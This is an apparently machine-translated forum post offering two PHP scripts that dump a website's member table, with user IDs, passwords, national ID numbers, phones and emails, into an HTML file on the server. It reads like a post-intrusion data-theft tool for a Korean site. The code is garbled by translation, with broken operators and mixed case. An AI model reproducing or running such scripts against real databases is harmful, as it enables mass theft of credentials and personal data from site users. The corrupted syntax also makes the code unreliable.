<?php
$conn =ocilogon (" username ", " password ", "( Description= (address= (PROTOCOL =tcp) (Host=ip ) (PORT = 1521)) (Connect_data = (sid=lcx )) ");
//$sql = "SELECT * from All_tab_columns where table_name= ' member '";//table Structure
$sql = "Select user_id, PASSWORD from member where IDX < 100 "; //sql statement
$stmt = Ociparse ($conn, $sql);
Ociexecute ($stmt);
$rows = Ocifetchstatement ($stmt, $results);
$keys = Array_keys ($results);
$table = "<table>\n <tr>\n";
foreach ($keys as $key)
{
$table. = "<TH> $key </th>\n";
}
$table. = "</tr>\n";
for ($i =0; $i < $rows; $i + +)
{
$table. = "<TR>";
foreach ($results as $spalte)
{
$data = $spalte [$i];
$table. = "<TD> $data </TD>";
}
$table. = "</TR>";
}
Echo $table;
$sStr= "/home/lcx.htm";
Fputs (fopen ($SSTR, ' A + '), $table);
?>
The second method:
Copy Code code as follows:
<meta http-equiv= "Content-type" content= "text/html; Charset=euc-kr ">
<title>sql Check!</title>
?
Include $_server[' Document_root ']. "/_lib/common.lib.php";
Ini_set (' Max_execution_time ', 0);
if (!isset ($a) | | |!isset ($b) | | |!isset ($FILENAME)) {exit ();}
for ($i = $a; $i < $b; $i + +)
{
$query = "Select Idx,user_id,password,name,sid1,sid2,phone,mobile,email,workphone from member where IDX = $i";
$data = Sql_fetch ($query);
if ($data)
{
for ($ss =0; $ss <=count ($data); $ss + +)
{
$values. = "<td>". $data [$ss]. " </td> ";
}
}
Fputs (fopen ("$filename", "A +"), "<table><tr>". $values. " </tr></table>\r\n ");
Unset ($values);
}
?>
Because not Oracle, is a line to copy,
Database connection has not been contacted, it is directly with his own bar,
No foreach loop array, it's strange, always output 2 duplicate field values, no way to use for the
qq:57112848 Nameless.